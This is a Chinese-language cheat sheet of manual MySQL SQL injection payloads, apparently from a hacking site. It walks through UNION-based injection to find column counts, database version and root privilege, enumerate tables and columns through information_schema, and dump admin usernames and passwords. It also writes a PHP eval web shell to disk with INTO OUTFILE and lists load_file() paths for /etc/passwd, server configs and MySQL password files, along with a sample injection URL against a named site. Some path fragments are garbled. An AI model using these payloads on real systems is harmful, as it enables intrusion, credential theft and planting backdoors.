- and ord(mid(version(),1,1))>51
- 解釋1: 確認數據庫版本 51是ASCII碼3 正確則>4.0 錯誤則<4.0,當版本大於3.0時才能使用union方法;
- 解釋2:ord()是mysql的函數用於獲取二進制碼;
- 解釋3:mid()是mysql的函數用於截位操作;
- 解釋4:version()是mysql的函數用於獲取當前數據庫的版本;
- union select 1,1,1,****1,1
- 解釋:聯合功能,用於試探當前sql查詢結果返回的字段數;
- order by 13
- 解釋:排序功能,根據查詢結果中的第幾個字段數做排序,試探當前sql查詢返回的字段數
- union select 1,2,3,4,****11,12,13 from admin
- 解釋:返回正確則admin表名存在
- union select 1,version(),3,*** 13 from admin
- 解釋:暴數據庫版本
- union select 1,username,3,*** 13 from admin
- 解釋:暴賬號/密碼
- union select 1,username,3,*** 13 from admin where id=2
- 解釋:暴admin表 第2個用戶 主鍵爲ID
- and ord(mid(user(),1,1))=144
- 解釋:判斷ROOT權限 返回正確存在
- and 1=1 union select 1,2,3,4,5…….n
- 解釋:匹配字段
- and 1=2 union select 1,2,3,4,5…..n
- 解釋:暴字段位置
- version() database() user()
- 解釋:利用內置函數暴數據庫信息
- 不用猜解可用字段暴數據庫信息(有些網站不適用):
- and 1=2 union all select version()
- and 1=2 union all select database()
- and 1=2 union all select user()
- and 1=2 union all select @@global.version_compile_os from mysql.user
- 解釋:獲取操作系統信息:
- and ord(mid(user(),1,1))=114
- 解釋:獲取數據庫權限,若返回正常說明爲root權限
- and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
- 解釋:暴庫 (mysql>5.0)Mysql 5 以上有內置庫 information_schema,存儲着mysql的所有數據庫和表結構信息
- and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數據庫(十六進制) limit 0(開始的記錄,0爲第一個開始記錄),1(顯示1條記錄)
- 解釋:猜表
- and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1
- 解釋:猜字段
- and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1
- 解釋:暴密碼
- Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
- 解釋:高級用法(一個可用字段顯示兩個數據內容)
- 解釋:高級用法(一個可用字段顯示兩個數據內容)
- 直接寫馬(Root權限)
- 條件1:知道站點物理路徑
- 條件2:有足夠大的權限(可以用select …. from mysql.user測試)
- 條件3:magic_quotes_gpc()=OFF select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路徑' and 1=2 union all select 一句話HEX值 into outfile '路徑'
- load_file() 常用路徑:
- replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
- replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
- 解釋:上面兩個是查看一個PHP文件裏完全顯示代碼.有些時候不替換一些字符,如 “<” 替換成”空格” 返回的是網頁.而無法查看到代碼.
- load_file(char(47))
- 解釋:可以列出FreeBSD,Sunos系統根目錄
- /etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf
- 解釋:查看linux APACHE虛擬主機配置文件
- c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf
- 解釋:查看WINDOWS系統apache文件
- c:/Resin-3.0.14/conf/resin.conf
- 解釋:查看jsp開發的網站 resin文件配置信息
- c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf
- 解釋:查看linux系統配置的JSP虛擬主機
- d:\APACHE\Apache2\conf\httpd.conf
- C:\Program Files\mysql\my.ini
- ../themes/darkblue_orange/layout.inc.php phpmyadmin
- 解釋:爆路徑
- c:\windows\system32\inetsrv\MetaBase.xml
- 解釋:查看IIS的虛擬主機配置文件
- /usr/local/resin-3.0.22/conf/resin.conf
- 解釋:針對3.0.22的RESIN配置文件查看
- /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
- /usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看
- /etc/sysconfig/iptables
- 解釋:本看防火牆策略
- usr/local/app/php5 b/php.ini
- 解釋:PHP 的相當設置
- /etc/my.cnf
- 解釋:MYSQL的配置文件
- /etc/redhat-release
- 解釋:紅帽子的系統版本
- C:\mysql\data\mysql\user.MYD
- 解釋:存在MYSQL系統中的用戶密碼
- /etc/sysconfig/network-scripts/ifcfg-eth0
- 解釋:查看IP
- /usr/local/app/php5 b/php.ini
- 解釋:PHP相關設置
- /usr/local/app/apache2/conf/extra tpd-vhosts.conf
- 解釋:虛擬網站設置
- C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
- c:\windows\my.ini
- c:\boot.ini
- 網站常用配置文件 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
- 注:Char(60)表示 <,Char(32)表示 空格
- 手工注射時出現的問題:
- 當注射後頁面顯示:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
- 如:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20,這是由於前後編碼不一致造成的,解決方法:在參數前加上 unhex(hex(參數))就可以了。上面的URL就可以改爲:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20,既可以繼續注射了。
- 當注射後頁面顯示:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'